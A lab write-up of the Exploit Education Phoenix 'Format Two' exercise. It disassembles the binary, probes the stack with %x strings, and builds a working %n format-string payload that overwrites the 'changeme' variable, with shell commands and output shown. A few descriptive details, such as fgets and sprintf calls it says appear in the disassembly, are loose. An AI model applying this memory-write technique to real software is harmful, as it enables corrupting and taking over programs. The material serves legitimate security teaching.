Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Similar to Format One Writeup, Format Two exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Two challenge revolves around Format String Vulnerability
and quite challenging when exploiting in 64-bit architecture binary.
Disassemble
Disassembling the code will get you overall idea behind the format-two code, One can use gdb ./format-two
to start debugging it in runtime.
gdb ./format-two
- Type
disassemble main
to get the disassembled code (assembly)
0x0804852c <+0>: lea ecx,[esp+0x4]
0x08048530 <+4>: and esp,0xfffffff0
0x08048533 <+7>: push DWORD PTR [ecx-0x4]
0x08048536 <+10>: push ebp
0x08048537 <+11>: mov ebp,esp
0x08048539 <+13>: push ebx
0x0804853a <+14>: push ecx
0x0804853b <+15>: sub esp,0x100
0x08048541 <+21>: mov ebx,ecx
0x08048543 <+23>: sub esp,0xc
0x08048546 <+26>: push 0x8048620
0x0804854b <+31>: call 0x8048330 <puts@plt>
0x08048550 <+36>: add esp,0x10
0x08048553 <+39>: cmp DWORD PTR [ebx],0x1
0x08048556 <+42>: jle 0x80485a3 <main+119>
0x08048558 <+44>: sub esp,0x4
0x0804855b <+47>: push 0x100
0x08048560 <+52>: push 0x0
0x08048562 <+54>: lea eax,[ebp-0x108]
0x08048568 <+60>: push eax
0x08048569 <+61>: call 0x8048350 <memset@plt>
0x0804856e <+66>: add esp,0x10
0x08048571 <+69>: mov eax,DWORD PTR [ebx+0x4]
0x08048574 <+72>: add eax,0x4
0x08048577 <+75>: mov eax,DWORD PTR [eax]
0x08048579 <+77>: sub esp,0x4
0x0804857c <+80>: push 0x100
0x08048581 <+85>: push eax
0x08048582 <+86>: lea eax,[ebp-0x108]
0x08048588 <+92>: push eax
0x08048589 <+93>: call 0x8048340 <strncpy@plt>
0x0804858e <+98>: add esp,0x10
0x08048591 <+101>: sub esp,0xc
0x08048594 <+104>: lea eax,[ebp-0x108]
0x0804859a <+110>: push eax
0x0804859b <+111>: call 0x8048515 <bounce>
0x080485a0 <+116>: add esp,0x10
0x080485a3 <+119>: mov eax,ds:0x8049868
0x080485a8 <+124>: test eax,eax
0x080485aa <+126>: je 0x80485be <main+146>
0x080485ac <+128>: sub esp,0xc
0x080485af <+131>: push 0x804866c
0x080485b4 <+136>: call 0x8048330 <puts@plt>
0x080485b9 <+141>: add esp,0x10
0x080485bc <+144>: jmp 0x80485ce <main+162>
0x080485be <+146>: sub esp,0xc
0x080485c1 <+149>: push 0x80486ab
0x080485c6 <+154>: call 0x8048330 <puts@plt>
0x080485cb <+159>: add esp,0x10
0x080485ce <+162>: sub esp,0xc
0x080485d1 <+165>: push 0x0
0x080485d3 <+167>: call 0x8048360 <exit@plt>
Before taking a look at the code, if you disassembled the format-two using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-two, brought to you by https://exploit.education
message via Puts (aka printf) method - If the program receives an argument from the command line (i.e., argc is greater than 1), it initializes a character array “buf” with size 256 and sets all its values to zero using “memset” function.
- It then copies the first argument passed (i.e., argv[1]) into the “buf” array using “strncpy” function. If the length of the argument exceeds the size of the buffer (256), it will be truncated.
- The program then calls the “bounce” function with the “buf” array as an argument.
- If the “changeme” variable is not zero, it prints “Well done, the ‘changeme’ variable has been changed correctly!” to the standard output.
- If the “changeme” variable is zero, it prints “Better luck next time!” to the standard output.
- The program exits with status code 0.
Memory Allocation - Exploit Strategy
If you take closer look at the memory allocation, changeme
variable it’s placed on the stack before buffer
char array. There is no way you could overflow buffer overflow variable and overwrite changeme
variable. However, introducing %n
format modifier string can perform this magic by overwriting the address using format string vulnerability
.
Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.\n'
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAffffd8ca.100.
Better luck next time!
Our experiment continues untill we find AAAA
or 41414141 in the stack and eventually we come to know that it occurs at the 12th padding,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n'
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAffffd8a7.100.0.f7f84b67.ffffd700.ffffd6e8.80485a0.ffffd5e0.ffffd8a7.100.3e8.41414141.252e7825.78252e78
Better luck next time!
Now that we found the padding, it’s time to find the exact memory address of changeme
variable. For 64-bit binary format-two
it should be 0x600af0
and 32-bit binary should be 0x08049868
. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.
So, let’s come up with a payload for 32-bit arch format-two binary first,
$'\x08\x04\x98\x68%x %x %x %x %x %x %x %x %x %x %x %n \n'
However, if you take a closer look, most AT&T and Intel system uses little endian system. So, we might need to rewrite the address in reverse order.
$'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Challenge faced while exploiting 64-bit binary
As mentioned above while going through memory address of changeme
variable in the stack of 64-bit binary should be 0x600af0
and it contains unreasonable characters 😥 - \x00
and \0a
null character & new line terminator which is interpreted by the strncpy
function and completely terminates the argument while copying to the buffer.
However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.
Exploit
Now, our strategy should be,
- Input
format string
as\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n
- Now,
printf
overwrites thechangeme
using random address from stack.
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Welcome to phoenix/format-two, brought to you by https://exploit.education
h�ffffd8ac 100 0 f7f84b67 ffffd700 ffffd6e8 80485a0 ffffd5e0 ffffd8ac 100 3e8
Well done, the 'changeme' variable has been changed correctly!
There you go! 🎉 You’ve officially pwned
and you may eventually gain code execution in upcoming exercises 🪲
Source and Reference:
- Format Two Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.